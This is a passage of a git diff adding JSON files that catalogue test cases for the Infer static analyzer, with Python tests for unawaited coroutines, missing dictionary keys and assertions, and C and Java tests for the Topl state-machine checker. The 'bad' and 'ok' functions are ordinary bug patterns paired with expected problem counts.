async_fun()\n\nclass C:\n async def async_instance_method(self):\n pass\n\n async def async_naming_convention_test3_bad(self):\n self.async_instance_method()\n\n\n async def async_naming_convention_test3_ok():\n await self.async_instance_method()\n\n\n async def _async_private_instance_method(self):\n pass\n\n async def async_naming_convention_test4_bad(self):\n self._async_private_instance_method()\n\n\n async def async_naming_convention_test4_ok():\n await self._async_private_instance_method()\n\n\nasync def iter_arg_bad(f):\n iter = async_fun()\n for i in iter:\n f(i)\n return iter\n\n\nasync def iter_arg_ok(f):\n iter = await async_fun()\n for i in iter:\n f(i)\n return iter\n\n\ndef my_iter(f, l):\n for x in l:\n f(x)\n\n\nasync def my_iter_arg_bad(f):\n l = async_fun()\n my_iter(f, l)\n return l\n\n\nasync def my_iter_arg_ok(f):\n l = await async_fun()\n my_iter(f, l)\n return l\n\n\nasync def FN_3_10_none_test_bad():\n opt = async_fun()\n if opt is None:\n do()\n return opt\n\n\nasync def not_none_test_bad():\n opt = async_fun()\n if opt is not None:\n do()\n return opt\n\n\nasync def none_test_ok():\n opt = await async_fun()\n if opt is None:\n do()\n return opt\n\nasync def not_none_test_ok():\n opt = await async_fun()\n if opt is not None:\n do()\n return opt\n\n\ndef main_ok():\n asyncio.run(sleep(10))\n\n\nasync def multi_tasks_ok():\n asyncio.gather(sleep(1), sleep(2))\n\n\nmain_ok()\n\n# no FP here\nasyncio.run(sleep(10))\nasyncio.run(multi_tasks_ok())\n" + }, + { + "testname": "async_level1.py", + "testlanguage": "python", + "expected-problems": 7, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n\nclass C:\n\n async def gen():\n pass\n\n\nclass D:\n def __init__(self):\n self.unawaited = C.gen()\n\n def main():\n x = C.gen()\n\n\nasync def instantiate_D_ok():\n d = D()\n await d.unawaited\n\n\ndef instantiate_D_bad():\n d = D()\n\n\nif __name__ == '__main__':\n # common pattern\n pass\n" + }, + { + "testname": "async_typing.py", + "testlanguage": "python", + "expected-problems": 17, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport asyncio\nimport types\n\n\nasync def await_condition_typing_int_ok():\n x = int(5)\n if type(x) == int:\n await asyncio.sleep(1)\n else:\n asyncio.sleep(1)\n\n\nasync def await_condition_typing_int_bad():\n if type(5) == str:\n await asyncio.sleep(1)\n else:\n asyncio.sleep(1)\n\n\nasync def await_condition_typing_str_ok():\n x = str(\"abc\")\n if type(x) == str and type(x) is str:\n await asyncio.sleep(1)\n else:\n asyncio.sleep(1)\n\n\nasync def await_condition_typing_with_arg_bad(x):\n if type(x) == str:\n await asyncio.sleep(1)\n else:\n asyncio.sleep(1)\n\n\nclass Name:\n def __init__(self, name):\n self.name = name\n\n\nasync def fp_await_condition_typing_user_defined_ok():\n x = Name(\"foo\")\n if type(x) == Name:\n await asyncio.sleep(1)\n else:\n asyncio.sleep(1)\n\n\nasync def fp_await_condition_typing_fun_ok():\n def x():\n return -1\n\n if type(x) == types.FunctionType:\n await asyncio.sleep(1)\n else:\n asyncio.sleep(1)\n\n\nasync def await_condition_is_none_bad():\n x = None\n if x is None:\n asyncio.sleep(1)\n else:\n await asyncio.sleep(1)\n\n\nasync def await_condition_is_none_ok():\n x = None\n if x is None:\n await asyncio.sleep(1)\n else:\n asyncio.sleep(1)\n\n\nasync def await_condition_bool_none_bad():\n x = None\n if x:\n await asyncio.sleep(1)\n else:\n asyncio.sleep(1)\n\n\nasync def await_condition_bool_none_ok():\n x = None\n if x:\n asyncio.sleep(1)\n else:\n await asyncio.sleep(1)\n\n\nasync def fp_await_condition_val_equal_ok():\n x = Name(\"foo\")\n y = Name(\"foo\")\n if x == y:\n await asyncio.sleep(1)\n else:\n asyncio.sleep(1)\n\n\nasync def await_condition_phys_equal_bad():\n x = Name(\"foo\")\n y = Name(\"foo\")\n if x is y:\n await asyncio.sleep(1)\n else:\n asyncio.sleep(1)\n" + }, + { + "testname": "async_utils.py", + "testlanguage": "python", + "expected-problems": 5, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n\nasync def sleep():\n pass\n\n\nasync def await_it(arg):\n await arg\n\n\nasync def dont_await_it(arg):\n pass\n\n@final\nclass C:\n\n @staticmethod\n async def sleep():\n pass\n" + }, + { + "testname": "builtins.py", + "testlanguage": "python", + "expected-problems": 4, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n\nfrom pathlib import Path\n\n\ndef main():\n print(int(\"0b110\", 2))\n print(int(\"42\", 10))\n print(str(\"42\"))\n print(str(Path(\"/my/dir/\", \"test.py\"), \"utf-8\"))\n print(dict())\n print(dict(name=\"Alice\", city=\"New York\"))\n print(dict({\"name\": \"Alice\", \"city\": \"New York\"}))\n print(dict([]))\n print(dict({}))\n print(dict([(\"x\", 10)], y=20, z=30))\n\n\ndef fp_dict_comp_ok():\n print(dict((i, i**2) for i in range(3)))\n" + }, + { + "testname": "cyclic_import.py", + "testlanguage": "python", + "expected-problems": 3, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nfrom cyclic_import import B\n\nclass A:\n pass\n\nclass B(A):\n pass\n\n\nclass C(B):\n pass\n" + }, + { + "testname": "dict_import.py", + "testlanguage": "python", + "expected-problems": 12, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\nimport dir1.dir4.testmod as Imported\nfrom dir1.dir3.testmod import D as ImportedD\n\n\ndef read_class_companion_property_with_import_bad():\n my_dict = {'key2': 0, \"key\": 1}\n return my_dict[Imported.C.class_property]\n\n\ndef read_class_companion_property_with_import_ok():\n my_dict = {'testmod.C.class_property': 0, \"key\": 1}\n return my_dict[Imported.C.class_property]\n\n\ndef instance_attribute_from_class_companion_with_import_bad():\n my_dict = {'key2': 0, \"key\": 1}\n o = Imported.C()\n return my_dict[o.class_property]\n\n\ndef instance_attribute_from_class_companion_with_import_ok():\n my_dict = {'testmod.C.class_property': 0, \"key\": 1}\n o = Imported.C()\n return my_dict[o.class_property]\n\n\ndef instance_attribute_with_import_bad():\n my_dict = {'key2': 0, \"key\": 1}\n o = Imported.C()\n return my_dict[o.property]\n\n\ndef instance_attribute_with_import_ok():\n my_dict = {'testmod.C.instance_property': 0, \"key\": 1}\n o = Imported.C()\n return my_dict[o.property]\n\n\ndef read_class_companion_property_with_import_from_bad():\n my_dict = {'key2': 0, \"key\": 1}\n return my_dict[ImportedD.class_property]\n\n\ndef read_class_companion_property_with_import_from_ok():\n my_dict = {'testmod.D.class_property': 0, \"key\": 1}\n return my_dict[ImportedD.class_property]\n\n\ndef instance_attribute_from_class_companion_with_import_from_bad():\n my_dict = {'key2': 0, \"key\": 1}\n o = ImportedD()\n return my_dict[o.class_property]\n\n\ndef instance_attribute_from_class_companion_with_import_from_ok():\n my_dict = {'testmod.D.class_property': 0, \"key\": 1}\n o = ImportedD()\n return my_dict[o.class_property]\n\n\ndef instance_attribute_with_import_from_bad():\n my_dict = {'key2': 0, \"key\": 1}\n o = ImportedD()\n return my_dict[o.property]\n\n\ndef instance_attribute_with_import_from_ok():\n my_dict = {'testmod.D.instance_property': 0, \"key\": 1}\n o = ImportedD()\n return my_dict[o.property]\n" + }, + { + "testname": "dict_level0.py", + "testlanguage": "python", + "expected-problems": 28, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n\ndef dict_missing_key_const_str_ok():\n d = dict(name=\"Alice\", age=25, city=\"New York\")\n return d[\"name\"]\n\n\ndef dict_missing_key_const_str_bad():\n d = {\"John\": 30, \"Mary\": 28}\n return d[\"Samantha\"]\n\n\ndef dict_size1_missing_key_const_str_bad():\n d = {\"John\": 30} # use build_map instead of build_const_key_map\n return d[\"Samantha\"]\n\n\ndef dict_missing_key_const_str_with_int_key_bad():\n d = {\"John\": 30, \"Mary\": 28, 1: 234}\n return d[\"Samantha\"]\n\n\ndef dict_missing_key_const_str_store_int_key_bad():\n d = {\"John\": 30, \"Mary\": 28}\n d[1] = 234\n return d[\"Samantha\"]\n\n\ndef dict_missing_key_const_str_store_str_key_ok(s):\n d = {\"John\": 30, \"Mary\": 28}\n s = str(s)\n d[s] = 234\n return d[\"Samantha\"]\n\n\ndef dict_set_key_after_init_ok():\n d = {\"John\": 30, \"Mary\": 28}\n d[\"Samantha\"] = 60\n return d[\"Samantha\"]\n\n\ndef get_dict():\n return {\"John\": 30, \"Mary\": 28}\n\n\ndef dict_access_fun_call_ok():\n ages = get_dict()\n return ages[\"John\"]\n\n\ndef dict_access_fun_call_bad():\n ages = get_dict()\n return ages[\"Samantha\"]\n\n\ndef get_val():\n return 1\n\n\ndef dict_missing_key_var_ok():\n y = get_val()\n d = {\"ABC\": 1, y: 2}\n return d[1]\n\n\ndef dict_missing_key_dict_builtin_const_map_bad():\n d = dict({\"John\": 30, \"Mary\": 28, 1: 234})\n return d[\"missing_key\"]\n\n\ndef dict_missing_key_builtin_empty_bad():\n d = dict()\n return d[\"missing_key\"]\n\n\ndef fn_dict_missing_key_builtin_empty_list_bad():\n d = dict([])\n return d[\"missing_key\"]\n\n\ndef fn_dict_missing_key_builtin_list_comp_bad():\n d = dict([(x, x) for x in range(10)])\n return d[\"missing_key\"]\n\n\ndef fn_dict_missing_key_named_arguments_bad():\n d = dict(name=\"Alice\", city=\"New York\")\n return d[\"missing_key\"]\n\n\ndef dict_missing_str_key_in_op_ok():\n d = dict({\"John\": 30, \"Mary\": 28, 1: 234})\n if \"missing_key\" in d:\n return d[\"missing_key\"]\n else:\n return 0\n\n\ndef dict_missing_str_key_in_op_bad():\n d = dict({\"John\": None, \"Mary\": 28, 1: 234})\n if \"John\" in d:\n return d[\"missing_key\"]\n else:\n return 0\n\n\ndef dict_missing_str_key_not_const_in_op_ok(x):\n k = str(x)\n d = dict({\"John\": None, \"Mary\": 28, 1: 234, k: \"unknown\"})\n if \"missing_key\" in d:\n return d[\"missing_key\"]\n else:\n return 0\n\n\ndef dict_missing_str_key_not_const_in_op_ok2(x):\n d = dict({\"John\": None, \"Mary\": 28, 1: 234})\n k = str(x)\n d[k] = \"unknown\"\n if \"John\" in d:\n return d[\"missing_key\"]\n else:\n return 0\n\n\ndef dict_missing_int_key_in_op_ok():\n d = dict({\"John\": 30, \"Mary\": 28, 1: 234})\n if 1 in d:\n return d[1]\n else:\n return 0\n\n\ndef fp_dict_missing_int_key_in_op_ok():\n d = dict({\"John\": 30, \"Mary\": 28, 1: 234})\n if 2 in d:\n return d[\"missing\"]\n else:\n return 0\n\n\ndef fp_test_dict_kwargs_ok():\n key_dict = {\n \"key1\": 1,\n **({}),\n \"key2\": 2,\n }\n return key_dict[\"key2\"]\n\n\ndef fn_test_str_key_access_with_loop_bad():\n d = {\"a\": 1, \"b\": 2}\n keys = [\"a\", \"b\", \"c\"]\n for key in keys:\n print(d[key])\n\n\ndef get_val(d, key):\n return d[key]\n\n\ndef fn_test_str_key_param_bad():\n d = {\"a\": 1, \"b\": 2}\n print(get_val(d, \"c\"))\n\n\ndef fp_with_exec_ok():\n ns = {}\n code = \"ns['inner'] = 1\"\n exec(code)\n return ns[\"inner\"]\n" + }, + { + "testname": "dict_object_oriented.py", + "testlanguage": "python", + "expected-problems": 28, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n\nclass Box:\n def __init__(self, key):\n self.key = key\n\n def get_key(self):\n return self.key\n\n def set_key(self, val):\n self.key = val\n\n\ndef set_attribute_with_init_bad():\n my_dict = {\"key0\": 0, \"key1\": 1}\n box = Box(\"key2\")\n return my_dict[box.key]\n\n\ndef set_attribute_with_init_ok():\n my_dict = {\"key0\": 0, \"key1\": 1}\n box = Box(\"key0\")\n return my_dict[box.key]\n\n\ndef set_attribute_with_init_read_with_getter_bad():\n my_dict = {\"key0\": 0, \"key1\": 1}\n box = Box(\"key2\")\n return my_dict[box.get_key()]\n\n\ndef set_attribute_with_init_read_with_getter_ok():\n my_dict = {\"key0\": 0, \"key1\": 1}\n box = Box(\"key0\")\n return my_dict[box.get_key()]\n\n\ndef set_attribute_with_setter_read_with_getter_bad():\n my_dict = {\"key0\": 0, \"key1\": 1}\n box = Box(\"key0\")\n box.set_key(\"key2\")\n return my_dict[box.get_key()]\n\n\ndef set_attribute_with_setter_read_with_getter_ok():\n my_dict = {\"key0\": 0, \"key1\": 1}\n box = Box(\"key2\")\n box.set_key(\"key0\")\n return my_dict[box.get_key()]\n\n\n# requires specialization because box could be anything\ndef return_get_key(box):\n return box.get_key()\n\n\ndef set_attribute_with_init_read_with_return_get_key_bad():\n my_dict = {\"key0\": 0, \"key1\": 1}\n box = Box(\"key2\")\n return my_dict[return_get_key(box)]\n\n\ndef set_attribute_with_init_read_with_return_get_key_ok():\n my_dict = {\"key0\": 0, \"key1\": 1}\n box = Box(\"key0\")\n return my_dict[return_get_key(box)]\n\n\n# requires specialization because box and dict could be anything\n# the generated summary returns an unknown value because of subscript builtin\ndef read_dict_using_get_key(d, box):\n return d[box.get_key()]\n\n\ndef fn_set_attribute_with_init_read_with_external_call_bad():\n my_dict = {\"key0\": 0, \"key1\": 1}\n box = Box(\"key2\")\n return read_dict_using_get_key(my_dict, box)\n\n\ndef set_attribute_with_init_read_with_external_call_ok():\n my_dict = {\"key0\": 0, \"key1\": 1}\n box = Box(\"key0\")\n return read_dict_using_get_key(my_dict, box)\n\n\nclass D:\n class_property1 = \"key1\"\n\n def __init__(self):\n self.key = \"instance_key\"\n\n\ndef read_class_companion_property_bad():\n my_dict = {\"key2\": 0, \"key\": 1}\n return my_dict[D.class_property1]\n\n\ndef read_class_companion_property_ok():\n my_dict = {\"key1\": 0, \"key\": 1}\n return my_dict[D.class_property1]\n\n\ndef instance_attribute_from_class_companion_bad():\n my_dict = {\"key2\": 0, \"key\": 1}\n d = D()\n return my_dict[d.class_property1]\n\n\ndef instance_attribute_from_class_companion_ok():\n my_dict = {\"key1\": 0, \"key\": 1}\n d = D()\n return my_dict[d.class_property1]\n\n\ndef instance_attribute_bad():\n my_dict = {\"key2\": 0, \"key\": 1}\n d = D()\n return my_dict[d.key]\n\n\ndef instance_attribute_ok():\n my_dict = {\"key1\": 0, \"instance_key\": 1}\n d = D()\n return my_dict[d.key]\n\n\n# TODO: implement missing-attribute logic\n# (we will need to make sure the capture is deep enough regarding inherited class)\n# TODO: decide if missing-attribute deserves a specific signal, distinct from dict-missing-key\ndef fn_neither_instance_nor_class_attribute_bad():\n d = D()\n return d.unknown\n\n\nclass DictField:\n\n def get_key_bad(self):\n self.d = {\"name\": \"Alice\", \"city\": \"New York\"}\n return self.d[\"bla\"]\n" + }, + { + "testname": "unusual_compiler_patterns.py", + "testlanguage": "python", + "expected-problems": 1, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n# the purpose of these tests is not to raise Infer signals,\n# but rather to check for absence of crashes\n\ndef long_opstack_with_duplicated_calls():\n l = make(\n x1 = e1,\n x2 = e2,\n x3 = e3,\n x4 = e4,\n x5 = e5,\n x6 = e6,\n x7 = e7,\n x8 = e8,\n x_cond = v_true if b else v_false,\n x9 = e9,\n x10 = e10,\n x11 = e11,\n x12 = e12,\n x13 = e13,\n x14 = e14,\n x15 = e15,\n )\n return [ f(x) for x in l ]\n" + }, + { + "testname": "__init__.py", + "testlanguage": "python", + "expected-problems": 0, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n" + }, + { + "testname": "demo0.py", + "testlanguage": "python", + "expected-problems": 4, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n# InferPython has a new checker: assertion error detection\n\ndef returns_false():\n return False\n\n\ndef returns_true():\n return True\n\n\ndef assert_ok():\n assert returns_true()\n\n\ndef assert_bad():\n assert returns_false()\n" + }, + { + "testname": "demo1.py", + "testlanguage": "python", + "expected-problems": 6, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n# InferPython now supports objects instanciation and duck typing\n\nclass Duck:\n def quack(self):\n return True\n\n\nclass Cow:\n def quack(self):\n return False\n\n\ndef a_duck_can_quack_ok():\n duck = Duck()\n assert duck.quack()\n\n\ndef a_cow_can_not_quack_bad():\n cow = Cow()\n assert cow.quack()\n" + }, + { + "testname": "demo2.py", + "testlanguage": "python", + "expected-problems": 7, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nclass Duck:\n def quack(self):\n return True\n\n\nclass Cow:\n def quack(self):\n return False\n\n\n# InferPython tries to do without type annotations hints\n# Remark we really don't know much about 'animal' param here\ndef animal_can_quack(animal):\n return animal.quack()\n\n\ndef a_duck_can_quack_ok():\n duck = Duck()\n assert animal_can_quack(duck)\n\n\ndef a_cow_can_not_quack_bad():\n cow = Cow()\n assert animal_can_quack(cow)\n" + }, + { + "testname": "demo3.py", + "testlanguage": "python", + "expected-problems": 8, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n#InferPython now supports single inheritance\n\nclass Animal:\n def can_quack(self):\n return self.quack()\n\n\nclass Duck(Animal):\n def quack(self):\n return True\n\n\nclass Cow(Animal):\n def quack(self):\n return False\n\n\ndef a_duck_can_quack_ok():\n duck = Duck()\n assert duck.can_quack()\n\n\ndef a_cow_can_not_quack_bad():\n cow = Cow()\n assert cow.can_quack()\n" + }, + { + "testname": "demo4.py", + "testlanguage": "python", + "expected-problems": 8, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n#InferPython now supports method overriding\n\nclass Animal:\n def quack(self):\n return False\n\n\n def can_quack(self):\n return self.quack()\n\n\n\nclass Duck(Animal):\n # we ovveride quack()\n def quack(self):\n return True\n\n\nclass Cow(Animal):\n # quack() in inherited from Animal\n pass\n\n\ndef a_duck_can_quack_ok():\n duck = Duck()\n assert duck.can_quack()\n\n\ndef a_cow_can_not_quack_bad():\n cow = Cow()\n assert cow.can_quack()\n" + }, + { + "testname": "demo5.py", + "testlanguage": "python", + "expected-problems": 7, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nclass Animal:\n quack = False\n\n def can_quack(self):\n return self.quack\n\nclass Duck(Animal):\n def __init__(self):\n self.quack = True\n\nclass Cow(Animal):\n pass\n\n\n# This is too hard for us right now.\n# In the corresponding duck-specialized summary of Animal.can_quack, we make\n# a wrong assumption about the localization of 'quack' attribute\n# I would liek to invalidate such a wrong assumption with a new kind of\n# specialization kay, but this is further work\ndef FP_a_duck_can_quack_ok():\n duck = Duck()\n assert duck.can_quack()\n\n\ndef a_cow_can_not_quack_bad():\n cow = Cow()\n assert cow.can_quack()\n" + }, + { + "testname": "testmod.py", + "testlanguage": "python", + "expected-problems": 2, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nasync def await_it(arg):\n await arg\n\nasync def dont_await_it(arg):\n pass\n" + }, + { + "testname": "__init__.py", + "testlanguage": "python", + "expected-problems": 0, + "code": "" + }, + { + "testname": "testmod.py", + "testlanguage": "python", + "expected-problems": 9, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nasync def await_it(arg):\n await arg\n\nasync def dont_await_it(arg):\n pass\n\n@final\nclass C:\n\n @staticmethod\n async def async_fun():\n pass\n\n\nclass D:\n class_property = \"testmod.D.class_property\"\n def __init__(self):\n self.property = \"testmod.D.instance_property\"\n\n\ndef wait(arg):\n \"\"\"\n This function is expected to be modeled as awaiting its argument because of .inferconfig\n \"\"\"\n pass\n\ndef deep_wait(*arg):\n \"\"\"\n This function is expected to be modeled as awaiting deeply its arguments because of .inferconfig\n \"\"\"\n pass\n\n\ndef id(b):\n return b\n" + }, + { + "testname": "__init__.py", + "testlanguage": "python", + "expected-problems": 0, + "code": "" + }, + { + "testname": "skipped.py", + "testlanguage": "python", + "expected-problems": 1, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\ndef id(b):\n return b\n" + }, + { + "testname": "testmod.py", + "testlanguage": "python", + "expected-problems": 4, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nasync def await_it(arg):\n await arg\n\nasync def dont_await_it(arg):\n pass\n\n\nclass C:\n class_property = \"testmod.C.class_property\"\n def __init__(self):\n self.property = \"testmod.C.instance_property\"\n" + }, + { + "testname": "__init__.py", + "testlanguage": "python", + "expected-problems": 0, + "code": "" + }, + { + "testname": "testmod.py", + "testlanguage": "python", + "expected-problems": 2, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nasync def await_it(arg):\n await arg\n\nasync def dont_await_it(arg):\n pass\n" + }, + { + "testname": "__init__.py", + "testlanguage": "python", + "expected-problems": 0, + "code": "" + }, + { + "testname": "testmod.py", + "testlanguage": "python", + "expected-problems": 2, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nasync def await_it(arg):\n await arg\n\nasync def dont_await_it(arg):\n pass\n" + }, + { + "testname": "__init__.py", + "testlanguage": "python", + "expected-problems": 0, + "code": "" + }, + { + "testname": "testmod.py", + "testlanguage": "python", + "expected-problems": 2, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nasync def await_it(arg):\n await arg\n\nasync def dont_await_it(arg):\n pass\n" + }, + { + "testname": "__init__.py", + "testlanguage": "python", + "expected-problems": 0, + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/Topl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/Topl.json new file mode 100644 index 0000000..72ba40c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/Topl.json @@ -0,0 +1,156 @@ +{ + "name": "Topl", + "language": [ + "clang", + "java", + "erlang" + ], + "description": "Detect errors based on user-provided state machines describing temporal properties over \\\n multiple objects.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 17, + "branches": 0, + "apis": 9, + "test": [ + { + "testname": "lock.c", + "testlanguage": "c", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nstruct FakeMut {\n int blah;\n};\nstruct FakeMut m1;\nint pthread_mutex_lock(struct FakeMut* mut);\nvoid pthread_mutex_unlock(struct FakeMut*);\n\nvoid unlock_wrap() { pthread_mutex_unlock(&m1); }\nvoid lock_unlock() {\n pthread_mutex_lock(&m1);\n unlock_wrap();\n}\n" + }, + { + "testname": "Annot.java", + "testlanguage": "java", + "expected-problems": 22, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.topl;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.TYPE})\n@Retention(RetentionPolicy.CLASS)\n@interface Danger {}\n\n@Target({ElementType.METHOD, ElementType.TYPE})\n@Retention(RetentionPolicy.CLASS)\n@interface Safe {}\n\npublic class Annot {\n void testA_Bad(A x) {\n sink(x.sourceUnlessSafe());\n }\n\n void testB_Ok(B x) {\n sink(x.sourceUnlessSafe());\n }\n\n void testC_Ok(C x) {\n sink(x.sourceUnlessSafe());\n }\n\n void testD_Ok(B x) {\n sink(x.sourceUnlessSafe());\n }\n\n void testE_Ok(E x) {\n sink(x.sourceIfDanger());\n }\n\n void testF_Bad(F x) {\n sink(x.sourceIfDanger());\n }\n\n void testG_Bad(G x) {\n sink(x.sourceIfDanger());\n }\n\n void testH_Bad(H x) {\n sink(x.sourceIfDanger());\n }\n\n static void sink(Object _x) {}\n}\n\nclass A {\n Object sourceUnlessSafe() {\n return new Object();\n }\n}\n\nclass B {\n @Safe\n Object sourceUnlessSafe() {\n return new Object();\n }\n}\n\n@Safe\nclass C {\n Object sourceUnlessSafe() {\n return new Object();\n }\n}\n\n@Safe\nclass Dbase {}\n\nclass D extends Dbase {\n Object sourceUnlessSafe() {\n return new Object();\n }\n}\n\nclass E {\n Object sourceIfDanger() {\n return new Object();\n }\n}\n\nclass F {\n @Danger\n Object sourceIfDanger() {\n return new Object();\n }\n}\n\n@Danger\nclass G {\n Object sourceIfDanger() {\n return new Object();\n }\n}\n\n@Danger\nclass Hbase {}\n\nclass H extends Hbase {\n Object sourceIfDanger() {\n return new Object();\n }\n}\n" + }, + { + "testname": "BaosTest.java", + "testlanguage": "java", + "expected-problems": 13, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.io.ByteArrayOutputStream;\nimport java.io.DataOutputStream;\nimport java.io.IOException;\nimport java.io.ObjectOutputStream;\nimport java.util.zip.GZIPOutputStream;\n\nclass BaosTest {\n static void aBad() throws IOException {\n ByteArrayOutputStream x = new ByteArrayOutputStream();\n ObjectOutputStream y = new ObjectOutputStream(x);\n y.writeObject(1337);\n byte[] bytes = x.toByteArray(); // This may return partial results.\n }\n\n /** Bugfix for aBad. */\n static void a1Ok() throws IOException {\n ByteArrayOutputStream x = new ByteArrayOutputStream();\n ObjectOutputStream y = new ObjectOutputStream(x);\n y.writeObject(1337);\n y.close();\n byte[] bytes = x.toByteArray();\n }\n\n /** Another bugfix for aBad. */\n static void a2Ok() throws IOException {\n ByteArrayOutputStream x = new ByteArrayOutputStream();\n ObjectOutputStream y = new ObjectOutputStream(x);\n y.writeObject(1337);\n y.flush();\n byte[] bytes = x.toByteArray();\n }\n\n static void bBad() throws IOException {\n ByteArrayOutputStream x = new ByteArrayOutputStream();\n ObjectOutputStream y = new ObjectOutputStream(x);\n y.writeObject(1337);\n byte[] bytes = x.toByteArray();\n y.close();\n }\n\n static void cBad() throws IOException {\n ByteArrayOutputStream x = new ByteArrayOutputStream();\n DataOutputStream y = new DataOutputStream(x);\n y.writeLong(1337);\n byte[] bytes = x.toByteArray();\n }\n\n /**\n * This false positive is caused by the property being imprecise. However, it is also an example\n * where, arguably, GZIPOutputStream breaks the behavioral contract on OutputStream: it may be\n * surprising that finish() sends data to the underlying stream but flush() may not.\n */\n static byte[] FP_dOk(final byte[] src) throws IOException {\n ByteArrayOutputStream x = new ByteArrayOutputStream(src.length);\n GZIPOutputStream y = new GZIPOutputStream(x);\n y.write(src);\n y.finish();\n return x.toByteArray();\n }\n\n static byte[] FP_eOk(final byte[] src) throws IOException {\n ByteArrayOutputStream x = new ByteArrayOutputStream(src.length);\n GZIPOutputStream y = new GZIPOutputStream(x);\n try {\n y.write(src);\n y.finish();\n } catch (Exception e) {\n }\n return x.toByteArray();\n }\n}\n" + }, + { + "testname": "CompareArgs.java", + "testlanguage": "java", + "expected-problems": 23, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass CompareArgs {\n static int max(int[] a, int i, int k) {\n int m = a[i];\n for (int j = i + 1; j < k; ++j) {\n m = Math.max(m, a[j]);\n }\n return m;\n }\n\n static void aBad() {\n int[] a = new int[10];\n int x = max(a, 2, 2);\n }\n\n static void bOk() {\n int[] a = new int[10];\n int x = max(a, 2, 3);\n }\n\n static void cBad() {\n int[] a = new int[10];\n int x = max(a, 2, 1);\n }\n}\n" + }, + { + "testname": "FlowTypes.java", + "testlanguage": "java", + "expected-problems": 16, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n// We want to find flows from source() to sink() that satisfy two conditions:\n// (1) some intermediate value has type String; and\n// (2) no intermediate value has type Boolean or Enum (including subtypes).\nabstract class FlowTypes {\n\n // TODO: Topl considers the case in which the result of eofA is the same (or points to) the\n // result of source. It doesn't realize that this can't happen. But it also can't prove that it\n // happens. So it decides to wait, in the hope it will prove it at the callsite, resulting in a\n // latent issue being reported here. Of course, it won't be able to show it. Can we get rid of\n // such latent issues that can't gain anything from more info at the callsite?\n void fpl_faOk() {\n 